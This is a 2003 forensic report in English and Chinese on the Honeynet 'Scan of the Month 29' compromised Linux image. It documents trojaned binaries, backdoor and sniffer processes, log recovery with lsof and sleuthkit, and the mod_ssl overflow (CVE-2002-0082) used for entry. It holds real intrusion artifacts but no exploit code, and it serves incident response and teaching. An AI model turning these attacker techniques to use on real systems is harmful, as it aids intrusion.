|
|
Honeynet SOM Scan29 Report
wlj@xfocus.org
2003-10-26
1. tools
md5sum
Static forensic toolkit iso(sleuthkit、lsof and most of the audit tools, and MD5 of all files on that suspended server)
Linux lkm checker
Google
2. process
2.1 download vmware image and run it
Download the supended vmware image from http://honeynet.xfocus.net/misc/files/linux-suspended.tar.bz2, and edit linux.vmx, let it can run in my windows box:
config.version = "7"
virtualHW.version = 3
displayName = "linux"
guestOS = "linux"
ide1:0.present = TRUE
ide1:0.deviceType = "cdrom-raw"
ide1:0.fileName = "auto detect"
scsi0:0.present = TRUE
scsi0:0.fileName = "linux.vmdk"
scsi0.present = TRUE
memsize = "96"
ethernet0.present = TRUE
tools.remindInstall = TRUE
draw = "gdi"
priority.grabbed = "normal"
priority.ungrabbed = "normal"
uuid.location = "56 4d 44 57 22 62 e4 2c-1e 05 5a 4d c8 f8 a3 4f"
ethernet0.addressType = "generated"
ethernet0.generatedAddress = "00:0c:29:f8:a3:4f"
ethernet0.generatedAddressOffset = "0"
floppy0.fileName = "A:"
uuid.bios = "56 4d 44 57 22 62 e4 2c-1e 05 5a 4d c8 f8 a3 4f"
2.2 mount Static forensic toolkit
一登陆进系统，就发现系统控制台上显示网络处于混杂模式，这是系统可能遭受入侵的标志之一。
[root@localhost root]# (swapd) uses obsolete (PF_INET,SOCK_PACKET)
eth0: Promiscuous mode enabled.
device eth0 entered promiscuous mode
NET4: Linux IPX 0.47 for NET4.0
IPX Portions Copyright (c) 1995 Caldera, Inc.
IPX Portions Copyright (c) 2000, 2001 Conectiva, Inc.
NET4: AppleTalk 0.18a for Linux NET4.0
eth0: Promiscuous mode enabled.
eth0: Promiscuous mode enabled.
由于有全局文件的md5sum，因此先做一个校验:
# export HISTFILE="" <-----本来想避免留下log破坏原有系统的
# ls -la <-----后来发现/root/.bash_history被链接到/dev/null了 !!
# mount /dev/cdrom /mnt
# /mnt/md5sum -c md5 | grep -v OK
/var/lib/slocate/slocate.db: FAILED
/var/lib/random-seed: FAILED
/var/lib/logrotate.status: FAILED
/var/log/messages: FAILED
/var/log/lastlog: FAILED open or read
/var/log/secure: FAILED
/var/log/maillog: FAILED
/var/log/wtmp: FAILED
/var/log/sa/sa14: FAILED open or read
/var/log/sa/sa15: FAILED open or read
/var/log/sa/sar14: FAILED open or read
/var/log/sa/sa16: FAILED open or read
/var/log/sa/sar15: FAILED open or read
/var/log/sa/sa06: FAILED open or read
/var/log/samba/log.smbd: FAILED open or read
/var/log/samba/smbd.log: FAILED open or read
/var/log/samba/log.nmbd: FAILED open or read
/var/log/samba/localhost.log: FAILED open or read
/var/log/xferlog: FAILED open or read
/var/log/httpd/error_log: FAILED open or read
/var/log/httpd/ssl_engine_log: FAILED open or read
/var/log/httpd/access_log: FAILED open or read
/var/log/httpd/ssl_request_log: FAILED open or read
/var/log/httpd/access_log.1: FAILED open or read
/var/log/httpd/error_log.1: FAILED open or read
/var/log/dmesg: FAILED open or read
/var/log/cron: FAILED
/var/log/boot.log: FAILED
/var/log/rpmpkgs: FAILED open or read
/var/cache/man/whatis: FAILED
/var/cache/samba/smbd.pid: FAILED
/var/cache/samba/connections.tdb: FAILED
/var/cache/samba/nmbd.pid: FAILED
/var/run/utmp: FAILED
/var/run/runlevel.dir: FAILED
/var/run/syslogd.pid: FAILED
/var/run/klogd.pid: FAILED
/var/run/apmd.pid: FAILED
/var/run/sshd.pid: FAILED
/var/run/sendmail.pid: FAILED
/var/run/gpm.pid: FAILED
/var/run/crond.pid: FAILED
/var/run/ftp.rips-all: FAILED open or read
/var/spool/anacron/cron.daily: FAILED
/var/spool/anacron/cron.weekly: FAILED
/tmp/root.md5: FAILED open or read
/etc/mtab: FAILED
/etc/rc.d/init.d/functions: FAILED
/etc/rc.d/rc.sysinit: FAILED
/etc/mail/statistics: FAILED
/etc/aliases.db: FAILED
/etc/adjtime: FAILED
/etc/samba/secrets.tdb: FAILED
/etc/httpd/conf/httpd.conf: FAILED
/usr/bin/top: FAILED
/bin/netstat: FAILED
/bin/ls: FAILED
/bin/ps: FAILED
/sbin/ifconfig: FAILED
可以看出两点，一是/etc/rc.d/init.d/functions和/etc/rc.d/rc.sysinit中可能有攻击者隐藏的启动程序；二是top、netstat、ls、ps、ifconfig这些基本程序都被替换过了。
既然top等用来查看系统状况的文件都被替换过了，必须使用自己静态编译的程序。由于无法在vmware中直接挂接iso文件，因此将iso文件直接上传到该被攻击的RedHat上(这样可能会造成文件的破坏，如果不是image文件，而是真实的系统，则建议一定不要轻易写磁盘，或者采用挂iso，或者采用网络文件系统)。然后：
mount -o loop audit-toolkit.iso /mnt
为了避免在被攻击的RedHat磁盘上写入过多文件，我们这里都采用下面这种方式进行数据搜集：
在我的Xp上运行:
nc -l -p 123 > some_audit_output.log
在被攻击的RedHat上运行(其中192.168.1.11是我给windows XP配置的IP地址):
/mnt/some_audit_command | /mnt/nc 192.168.1.11 123
2.3 netstat
首先我们运行/mnt/netstat -nap命令
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN 845/smbd
tcp 0 0 0.0.0.0:79 0.0.0.0:* LISTEN 732/xinetd
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 3137/smbd -D
tcp 0 0 0.0.0.0:113 0.0.0.0:* LISTEN 677/identd
tcp 0 0 0.0.0.0:2003 0.0.0.0:* LISTEN 3137/smbd -D
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN 732/xinetd
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 699/sshd
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN 732/xinetd
tcp 0 0 0.0.0.0:65336 0.0.0.0:* LISTEN 15119/initd
tcp 0 0 0.0.0.0:3128 0.0.0.0:* LISTEN 25241/xopen
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 759/sendmail: accep
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 3137/smbd -D
tcp 0 0 0.0.0.0:65436 0.0.0.0:* LISTEN 15119/initd
tcp 0 1378 192.168.1.79:65336 213.154.118.200:1188 ESTABLISHED 15119/initd
udp 0 0 192.168.1.79:137 0.0.0.0:* 850/nmbd
udp 0 0 0.0.0.0:137 0.0.0.0:* 850/nmbd
udp 0 0 192.168.1.79:138 0.0.0.0:* 850/nmbd
udp 0 0 0.0.0.0:138 0.0.0.0:* 850/nmbd
udp 0 288 192.168.1.79:1042 192.168.1.1:53 ESTABLISHED 15119/initd
udp 0 0 0.0.0.0:3049 0.0.0.0:* 25239/xopen
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node PID/Program name Path
unix 2 [ ACC ] STREAM LISTENING 943 778/gpm /dev/gpmctl
unix 4 [ ] DGRAM 7984 3247/syslogd /dev/log
unix 2 [ ] DGRAM 15679 732/xinetd
unix 2 [ ] DGRAM 7993 3252/klogd
unix 2 [ ] DGRAM 1078 893/login -- root
unix 2 [ ] DGRAM 990 820/crond
unix 2 [ ] DGRAM 924 759/sendmail: accep
unix 2 [ ] DGRAM 834 677/identd
unix 2 [ ] DGRAM 804 657/apmd
unix 2 [ ] STREAM CONNECTED 417 1/init
Active IPX sockets
Proto Recv-Q Send-Q Local Address Foreign Address State
看起来有些异常的条目如下：
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 3137/smbd -D
tcp 0 0 0.0.0.0:2003 0.0.0.0:* LISTEN 3137/smbd -D
tcp 0 0 0.0.0.0:65336 0.0.0.0:* LISTEN 15119/initd
tcp 0 0 0.0.0.0:3128 0.0.0.0:* LISTEN 25241/xopen
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 3137/smbd -D
tcp 0 1378 192.168.1.79:65336 213.154.118.200:1188 ESTABLISHED 15119/initd
udp 0 288 192.168.1.79:1042 192.168.1.1:53 ESTABLISHED 15119/initd
udp 0 0 0.0.0.0:3049 0.0.0.0:* 25239/xopen
主要与三个进程有关，它们的进程号和名称分别如下：
3137/smbd -D
15119/initd
25241/xopen
我们先来检查进程号为3137的smbd -D进程，进入/proc/3137并运行ls -la命令，得到如下结果:
total 0
dr-xr-xr-x 3 root root 0 Aug 10 20:51 .
dr-xr-xr-x 54 root root 0 Aug 9 07:34 ..
-r--r--r-- 1 root root 0 Aug 10 20:51 cmdline
lrwxrwxrwx 1 root root 0 Aug 10 20:51 cwd -> /
-r-------- 1 root root 0 Aug 10 20:51 environ
lrwxrwxrwx 1 root root 0 Aug 10 20:51 exe -> /usr/bin/smbd -D
dr-x------ 2 root root 0 Aug 10 20:51 fd
-r--r--r-- 1 root root 0 Aug 10 20:51 maps
-rw------- 1 root root 0 Aug 10 20:51 mem
lrwxrwxrwx 1 root root 0 Aug 10 20:51 root -> /
-r--r--r-- 1 root root 0 Aug 10 20:51 stat
-r--r--r-- 1 root root 0 Aug 10 20:51 statm
-r--r--r-- 1 root root 0 Aug 10 20:51 status
接着进入fd目录察看相关文件句柄:
total 0
dr-x------ 2 root root 0 Aug 10 20:52 .
dr-xr-xr-x 3 root root 0 Aug 10 20:51 ..
lrwx------ 1 root root 64 Aug 10 20:52 0 -> /dev/null
lrwx------ 1 root root 64 Aug 10 20:52 1 -> /dev/null
l-wx------ 1 root root 64 Aug 10 20:52 15 -> /var/log/httpd/error_log (deleted)
lrwx------ 1 root root 64 Aug 10 20:52 16 -> socket:[976]
lrwx------ 1 root root 64 Aug 10 20:52 17 -> socket:[977]
l-wx------ 1 root root 64 Aug 10 20:52 18 -> /var/log/httpd/ssl_engine_log (deleted)
l-wx------ 1 root root 64 Aug 10 20:52 19 -> /var/log/httpd/ssl_mutex.800 (deleted)
lrwx------ 1 root root 64 Aug 10 20:52 2 -> /dev/null
l-wx------ 1 root root 64 Aug 10 20:52 20 -> /var/log/httpd/access_log (deleted)
l-wx------ 1 root root 64 Aug 10 20:52 21 -> /var/log/httpd/access_log (deleted)
l-wx------ 1 root root 64 Aug 10 20:52 22 -> /var/log/httpd/ssl_request_log (deleted)
l-wx------ 1 root root 64 Aug 10 20:52 23 -> /var/log/httpd/ssl_mutex.800 (deleted)
lrwx------ 1 root root 64 Aug 10 20:52 3 -> /var/run/httpd.mm.800.sem (deleted)
lrwx------ 1 root root 64 Aug 10 20:52 4 -> /var/log/httpd/ssl_scache.sem (deleted)
lrwx------ 1 root root 64 Aug 10 20:52 5 -> socket:[3626]
lrwx------ 1 root root 64 Aug 10 20:52 6 -> socket:[4571]
通过这种方式，我们查到了三个奇怪进程所处的位置：
/usr/bin/smbd -D
/etc/opt/psybnc/initd
/lib/.x/s/xopen
2.4 ps
我们还需要看看ps -awx查看系统进程状况的输出结果：
PID TTY STAT TIME COMMAND
1 ? S 0:05 init
2 ? SW 0:00 [keventd]
3 ? SW 0:00 [kapm-idled]
4 ? SWN 0:00 [ksoftirqd_CPU0]
5 ? SW 0:00 [kswapd]
6 ? SW 0:00 [kreclaimd]
7 ? SW 0:00 [bdflush]
8 ? SW 0:00 [kupdated]
9 ? SW< 0:00 [mdrecoveryd]
17 ? SW 0:05 [kjournald]
92 ? SW 0:00 [khubd]
657 ? S 0:00 /usr/sbin/apmd -p 10 -w 5 -W -P /etc/sysconfig/apm-scripts/apmscript
677 ? S 0:00 identd -e -o
685 ? S 0:00 identd -e -o
686 ? S 0:00 identd -e -o
695 ? S 0:00 identd -e -o
696 ? S 0:00 identd -e -o
699 ? S 0:00 /usr/sbin/sshd
732 ? S 0:00 xinetd -stayalive -reuse -pidfile /var/run/xinetd.pid
759 ? S 0:00 sendmail: accepting connections
778 ? S 0:00 gpm -t ps/2 -m /dev/mouse
820 ? S 0:00 crond
845 ? S 0:00 smbd -D
850 ? S 0:00 nmbd -D
893 tty1 S 0:00 login -- root
894 tty2 S 0:00 /sbin/mingetty tty2
895 tty3 S 0:00 /sbin/mingetty tty3
896 tty4 S 0:00 /sbin/mingetty tty4
899 tty5 S 0:00 /sbin/mingetty tty5
900 tty6 S 0:00 /sbin/mingetty tty6
901 tty1 S 0:00 -bash
3137 ? S 0:03 smbd -D
3153 ? R 0:02 (swapd)
3247 ? S 0:00 syslogd -m 0
3252 ? S 0:00 klogd -2
25239 ? S 0:00 /lib/.x/s/xopen -q -p 3128
25241 ? S 0:00 /lib/.x/s/xopen -q -p 3128
25247 ? R 0:01 /lib/.x/s/lsn
15119 ? S 0:00 initd
很明显可以看出几个可能有问题的进程：
845 ? S 0:00 smbd -D
3153 ? R 0:02 (swapd)
25239 ? S 0:00 /lib/.x/s/xopen -q -p 3128
25247 ? R 0:01 /lib/.x/s/lsn
15119 ? S 0:00 initd
2.5 日志
通过上述的分析，我们实际上已经定位出许多攻击者安装的程序的位置，部份程序有自己的日志；同时，攻击者还留下了一些未曾擦掉的脚印……
他们没有删除的相应日志有：
/etc/opt/psybnc/log/psybnc.log <---- IRC工具psybnc的日志
/usr/lib/libice.log <---- sniffer (swapd)的日志
/.bash_history <---- bash的日志
另外入侵者恶意地删除了大多数的日志文件，主要是/var/log下面的文件，这导致了定位攻击源的困难，在我们刚才的工作中，我们可以看到在/proc/pid/fd目录下存在这么一些包含(deleted)字样的文件，这能给我们提供什么帮助呢？：
l-wx------ 1 root root 64 Aug 10 20:54 15 -> /var/log/httpd/error_log (deleted)
l-wx------ 1 root root 64 Aug 10 20:54 18 -> /var/log/httpd/ssl_engine_log (deleted)
l-wx------ 1 root root 64 Aug 10 20:54 19 -> /var/log/httpd/ssl_mutex.800 (deleted)
l-wx------ 1 root root 64 Aug 10 20:54 20 -> /var/log/httpd/access_log (deleted)
l-wx------ 1 root root 64 Aug 10 20:54 21 -> /var/log/httpd/access_log (deleted)
l-wx------ 1 root root 64 Aug 10 20:54 22 -> /var/log/httpd/ssl_request_log (deleted)
l-wx------ 1 root root 64 Aug 10 20:54 23 -> /var/log/httpd/ssl_mutex.800 (deleted)
lrwx------ 1 root root 64 Aug 10 20:54 3 -> /var/run/httpd.mm.800.sem (deleted)
lrwx------ 1 root root 64 Aug 10 20:54 4 -> /var/log/httpd/ssl_scache.sem (deleted)
只要系统进程还在运行中，我们就能够将它们恢复回来!
2.6 lsof和sleuthkit
由于系统被入侵后并未重启，因此许多文件仅是引用计数、文件大小和数据块列表被标记上删除记号0，并未实际摘除，因此我们通过lsof来获得相关文件inode信息：
我们运行静态编译的lsof并且仅输出包含(deleted)字样的相关行：
[root@sbm79 bin]# /mnt/lsof|grep deleted
gpm 778 root 1u REG 8,1 4 3183 /var/run/gpmScZiQq (deleted)
smbd 845 root 12w REG 8,1 0 46920 /var/log/samba/smbd.log (deleted)
nmbd 850 root 3w REG 8,1 207 46924 /var/log/samba/log.nmbd (deleted)
smbd 3137 root 3u REG 8,1 0 3187 /var/run/httpd.mm.800.sem (deleted)
smbd 3137 root 4u REG 8,1 0 45309 /var/log/httpd/ssl_scache.sem (deleted)
smbd 3137 root 15w REG 8,1 23335716 46935 /var/log/httpd/error_log (deleted)
smbd 3137 root 18w REG 8,1 22795530 46914 /var/log/httpd/ssl_engine_log (deleted)
smbd 3137 root 19w REG 8,1 0 45308 /var/log/httpd/ssl_mutex.800 (deleted)
smbd 3137 root 20w REG 8,1 253 46934 /var/log/httpd/access_log (deleted)
smbd 3137 root 21w REG 8,1 253 46934 /var/log/httpd/access_log (deleted)
smbd 3137 root 22w REG 8,1 0 46916 /var/log/httpd/ssl_request_log (deleted)
smbd 3137 root 23w REG 8,1 0 45308 /var/log/httpd/ssl_mutex.800 (deleted)
(swapd) 3153 root 3u REG 8,1 0 3187 /var/run/httpd.mm.800.sem (deleted)
(swapd) 3153 root 4u REG 8,1 0 45309 /var/log/httpd/ssl_scache.sem (deleted)
(swapd) 3153 root 15w REG 8,1 23335716 46935 /var/log/httpd/error_log (deleted)
(swapd) 3153 root 18w REG 8,1 22795530 46914 /var/log/httpd/ssl_engine_log (deleted)
(swapd) 3153 root 19w REG 8,1 0 45308 /var/log/httpd/ssl_mutex.800 (deleted)
(swapd) 3153 root 20w REG 8,1 253 46934 /var/log/httpd/access_log (deleted)
(swapd) 3153 root 21w REG 8,1 253 46934 /var/log/httpd/access_log (deleted)
(swapd) 3153 root 22w REG 8,1 0 46916 /var/log/httpd/ssl_request_log (deleted)
(swapd) 3153 root 23w REG 8,1 0 45308 /var/log/httpd/ssl_mutex.800 (deleted)
syslogd 3247 root 1w REG 8,1 9472 45307 /var/log/messages (deleted)
xopen 25239 root 3u REG 8,1 0 3187 /var/run/httpd.mm.800.sem (deleted)
xopen 25239 root 4u REG 8,1 0 45309 /var/log/httpd/ssl_scache.sem (deleted)
xopen 25239 root 15w REG 8,1 23335716 46935 /var/log/httpd/error_log (deleted)
xopen 25239 root 18w REG 8,1 22795530 46914 /var/log/httpd/ssl_engine_log (deleted)
xopen 25239 root 19w REG 8,1 0 45308 /var/log/httpd/ssl_mutex.800 (deleted)
xopen 25239 root 20w REG 8,1 253 46934 /var/log/httpd/access_log (deleted)
xopen 25239 root 21w REG 8,1 253 46934 /var/log/httpd/access_log (deleted)
xopen 25239 root 22w REG 8,1 0 46916 /var/log/httpd/ssl_request_log (deleted)
xopen 25239 root 23w REG 8,1 0 45308 /var/log/httpd/ssl_mutex.800 (deleted)
xopen 25241 root 3u REG 8,1 0 3187 /var/run/httpd.mm.800.sem (deleted)
xopen 25241 root 4u REG 8,1 0 45309 /var/log/httpd/ssl_scache.sem (deleted)
xopen 25241 root 15w REG 8,1 23335716 46935 /var/log/httpd/error_log (deleted)
xopen 25241 root 18w REG 8,1 22795530 46914 /var/log/httpd/ssl_engine_log (deleted)
xopen 25241 root 19w REG 8,1 0 45308 /var/log/httpd/ssl_mutex.800 (deleted)
xopen 25241 root 20w REG 8,1 253 46934 /var/log/httpd/access_log (deleted)
xopen 25241 root 21w REG 8,1 253 46934 /var/log/httpd/access_log (deleted)
xopen 25241 root 22w REG 8,1 0 46916 /var/log/httpd/ssl_request_log (deleted)
xopen 25241 root 23w REG 8,1 0 45308 /var/log/httpd/ssl_mutex.800 (deleted)
lsn 25247 root 3u REG 8,1 0 3187 /var/run/httpd.mm.800.sem (deleted)
lsn 25247 root 4u REG 8,1 0 45309 /var/log/httpd/ssl_scache.sem (deleted)
lsn 25247 root 15w REG 8,1 23335716 46935 /var/log/httpd/error_log (deleted)
lsn 25247 root 18w REG 8,1 22795530 46914 /var/log/httpd/ssl_engine_log (deleted)
lsn 25247 root 19w REG 8,1 0 45308 /var/log/httpd/ssl_mutex.800 (deleted)
lsn 25247 root 20w REG 8,1 253 46934 /var/log/httpd/access_log (deleted)
lsn 25247 root 21w REG 8,1 253 46934 /var/log/httpd/access_log (deleted)
lsn 25247 root 22w REG 8,1 0 46916 /var/log/httpd/ssl_request_log (deleted)
lsn 25247 root 23w REG 8,1 0 45308 /var/log/httpd/ssl_mutex.800 (deleted)
实际上，在倒数第二列的那个数字就代表了该文件的inode号，现在我们可以用sleuthkit中的工具来进行数据恢复了，示例如下(假设我们要恢复/var/log/httpd/access_log)：
我们确认它的inode号是46934，然后就可以运行：
icat /dev/sda1 46934来察看该节点上存在的文件了。
通过文件恢复，我们得到了下列非空文件的恢复样本：
access_log
error_log
log.nmbd
ssl_engine_log
boot.log
cron
maillog
messages
secure
其中有些文件包含了部份有趣的信息，列举如下：
/var/log/message
Aug 10 13:33:33 localhost smbd -D[3137]: log: Server listening on port 2003.
Aug 10 13:33:33 localhost smbd -D[3137]: log: Generating 768 bit RSA key.
Aug 10 13:33:34 localhost smbd -D[3137]: log: RSA key generation complete.
Aug 10 13:33:35 localhost smbd -D[3150]: error: bind: Address already in use
Aug 10 13:33:35 localhost smbd -D[3150]: fatal: Bind to port 2003 failed: Transport endpoint is not connected.
Aug 10 13:33:56 localhost smbd -D[3225]: error: bind: Address already in use
apache的error_log
[Sun Aug 10 13:16:27 2003] [error] [client 213.154.118.219] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /
[Sun Aug 10 13:16:37 2003] [error] [client 213.154.118.219] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /
[Sun Aug 10 13:23:17 2003] [error] [client 213.154.118.219] File does not exist: /var/www/html/sumthin
[Sun Aug 10 13:24:29 2003] [error] mod_ssl: SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
[Sun Aug 10 13:24:29 2003] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different
[Sun Aug 10 13:32:38 2003] [error] mod_ssl: SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
apache的ssl_engine_log
[14/Jul/2003 21:26:46 00757] [error] SSL handshake interrupted by system [Hint: Stop button pressed in browser?!] (System error follows)
[14/Jul/2003 21:26:46 00757] [error] System: Connection reset by peer (errno: 104)
[14/Jul/2003 21:27:28 00766] [error] SSL handshake interrupted by system [Hint: Stop button pressed in browser?!] (System error follows)
[14/Jul/2003 21:27:28 00766] [error] System: Connection reset by peer (errno: 104)
[14/Jul/2003 22:16:48 00846] [error] SSL handshake interrupted by system [Hint: Stop button pressed in browser?!] (System error follows)
[14/Jul/2003 22:16:48 00846] [error] System: Connection reset by peer (errno: 104)
[10/Aug/2003 13:24:29 02937] [error] SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
[10/Aug/2003 13:24:29 02937] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different
[10/Aug/2003 13:32:38 03024] [error] SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
[10/Aug/2003 13:32:38 03024] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different
[10/Aug/2003 13:40:28 03272] [error] Child could not open SSLMutex lockfile /etc/httpd/logs/ssl_mutex.800 (System error follows)
apache的access_log
213.154.118.219 - - [10/Aug/2003:13:16:27 -0700] "GET / HTTP/1.1" 400 385 "-" "-"
213.154.118.219 - - [10/Aug/2003:13:16:37 -0700] "GET / HTTP/1.1" 400 385 "-" "-"
213.154.118.219 - - [10/Aug/2003:13:23:17 -0700] "GET /sumthin HTTP/1.0" 404 279 "-" "-"
2.7 strings和strace
通过上面的分析，我们得到了几个入侵者存放数据的点，包括：
/lib/.x
/dev/shm
/etc/opt/psybnc/
/usr/bin/(swapd)
/usr/bin/crontabs
这时我们可以用静态编译过的strings和strace来对这些二进制文件进行分析了。
比如采用/mnt/strings分析/mnt/strings /usr/bin/crontabs文件，我们可以：
[root@sbm79 bin]# /mnt/strings /usr/bin/crontabs
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
__cxa_finalize
system
__deregister_frame_info
_IO_stdin_used
__libc_start_main
__register_frame_info
GLIBC_2.1.3
GLIBC_2.0
PTRh
QVhx
"smbd -D"
这时可以很清楚地知道/mnt/strings /usr/bin/crontabs就是用来引导"smbd -D"这个程序的。
比如采用/mnt/strace分析/usr/bin/(swapd)文件，我们可以：
cd /usr/bin
/mnt/strace ./"(swapd)">a.log 2>>a.log
从记录中我们可以知道，这是一个嗅探器，它的日志保存在/usr/lib/libice.log
execve("./(swapd)", ["./(swapd)"], [/* 23 vars */]) = 0
uname({sys="Linux", node="sbm79.dtc.apu.edu", ...}) = 0
brk(0) = 0x804c8e8
open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=8829, ...}) = 0
old_mmap(NULL, 8829, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40017000
close(3) = 0
open("/lib/i686/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0 \306\1"..., 1024) = 1024
fstat64(3, {st_mode=S_IFREG|0755, st_size=5772268, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001a000
old_mmap(NULL, 1290088, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4001b000
mprotect(0x4014d000, 36712, PROT_NONE) = 0
old_mmap(0x4014d000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x131000) = 0x4014d000
old_mmap(0x40152000, 16232, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40152000
close(3) = 0
munmap(0x40017000, 8829) = 0
brk(0) = 0x804c8e8
brk(0x804ca68) = 0x804ca68
brk(0x804d000) = 0x804d000
open("x.pid", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3
getpid() = 15673
fstat64(3, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40017000
write(3, "15673\n", 6) = 6
close(3) = 0
munmap(0x40017000, 4096) = 0
socket(PF_INET, SOCK_PACKET, IPPROTO_EGP) = 3
ioctl(3, 0x8913, 0xbffffaa0) = 0
ioctl(3, 0x8914, 0xbffffaa0) = 0
rt_sigaction(SIGHUP, {SIG_IGN}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGINT, {0x8049120, [INT], SA_RESTORER|SA_RESTART, 0x40049848}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGTERM, {0x8049120, [TERM], SA_RESTORER|SA_RESTART, 0x40049848}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGKILL, {0x8049120, [KILL], SA_RESTORER|SA_RESTART, 0x40049848}, {SIG_DFL}, 8) = -1 EINVAL (Invalid argument)
rt_sigaction(SIGQUIT, {0x8049120, [QUIT], SA_RESTORER|SA_RESTART, 0x40049848}, {SIG_DFL}, 8) = 0
open("/usr/lib/libice.log", O_WRONLY|O_APPEND|O_CREAT, 0666) = 4
fstat64(4, {st_mode=S_IFREG|0644, st_size=1641, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40017000
fstat64(4, {st_mode=S_IFREG|0644, st_size=1641, ...}) = 0
_llseek(4, 1641, [1641], SEEK_SET) = 0
read(3, "\0\f)\211B\223\0\tk\372T^\10\0E\0\0(\350\276@\0\200\6\310"..., 8248) = 60
……
……
2.8 内核模块？
最初我们的想法是，这个攻击者既然留下了这么多痕迹，而且直接就能够发现诸多文件被替换，应该是没有安装lkm程序的，但检查过程中却在/lib/.x下我们看到了一个很象是llkm的目录。看来，至少攻击者是有安装lkm的想法，为了安全起见，只好检查一下了……
我们并没有花费太多精力去检查lkm，而是直接用一位朋友(感谢jbtzhm)的代码来检查，该代码检查了syscall表、idt表、显示隐藏模块、比较内存中的kernel与kernel image(或者压缩的kernel image)等功能。
[root@sbm79 checker]# ./checker
Linux LKM Rootkit Checker V1.2a by j6t2hm
Usage:./checker [Options]
-t: check the syscall table
-i: check the IDT table
-m: try to list the module didn't show in `lsmod`
-s func: check the execution path of func
-e image: compare kernel image to kernel memory
-z zimage: compare compressed kernel image to kernel memory
[root@sbm79 checker]# ./checker -t
Can not Find optcode in INT 80 entry
May someone change the entry
Though I check the sys_call_table,it may not be used
***Check Syscall Table Begin...
***Check Syscall Table End.
The items you wanna check seem be OK!
[root@sbm79 checker]# ./checker -i
***Check IDT Table Begin...
***Check IDT Table End.
The items you wanna check seem be OK!
[root@sbm79 checker]# ./checker -m
The items you wanna check seem be OK!
[root@sbm79 checker]#
我们也可以采用公开的代码KSTAT来检测大部份Linux下的lkm，该程序可以在下面的地址下载：
http://www.s0ftpj.org/tools/kstat24_v1.1-2.tgz
2.9 google
最后不得不提起的是google这个伟大的工具，利用它我得到了许多软件、工具和漏洞的信息，比如：
Apache OpenSSL漏洞描述和exploit
sk-1.3b.tar.gz这个lkm后门
psybnc这个IRCBot的技术细节
……
3 攻击者的恶意行为总结
3.1 攻击
攻击者在2003年8月10日13:24时开始攻击的，利用的是Apache OpenSSL的漏洞，该漏洞细节如下(中文描述摘抄自Nsfocus网站)：
Apache Mod_SSL/Apache-SSL远程缓冲区溢出漏洞
发布日期：2002-02-27
更新日期：2002-03-04
受影响系统：
Mod_SSL mod_ssl 2.8.6
Mod_SSL mod_ssl 2.8.5
Mod_SSL mod_ssl 2.8.4
Mod_SSL mod_ssl 2.8.3
Mod_SSL mod_ssl 2.8.2
Mod_SSL mod_ssl 2.8.1
Mod_SSL mod_ssl 2.8
Mod_SSL mod_ssl 2.7.1
Apache-SSL Apache-SSL 1.46
Apache-SSL Apache-SSL 1.45
Apache-SSL Apache-SSL 1.44
Apache-SSL Apache-SSL 1.43
Apache-SSL Apache-SSL 1.42
Apache-SSL Apache-SSL 1.41
Apache-SSL Apache-SSL 1.40
不受影响系统：
Mod_SSL mod_ssl 2.8.7
Apache-SSL Apache-SSL 1.47
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 4189
CVE(CAN) ID: CVE-2002-0082
Mod_SSL和Apache-SSL是Apache服务器上的SSL实现，用来为Apache Web服务器提供加密支持。这个模块利用OpenSSL来完成SSL实现。
版本低于2.8.7-1.3.23的Mod_SSL和版本低于1.3.22+1.47的Apache-SSL实现上以一种不安全方式使用OpenSSL函数，在某些条件下，可能导致缓冲区溢出，远程攻击者可能对服务器程序实施拒绝服务攻击或在主机上执行任意指令。
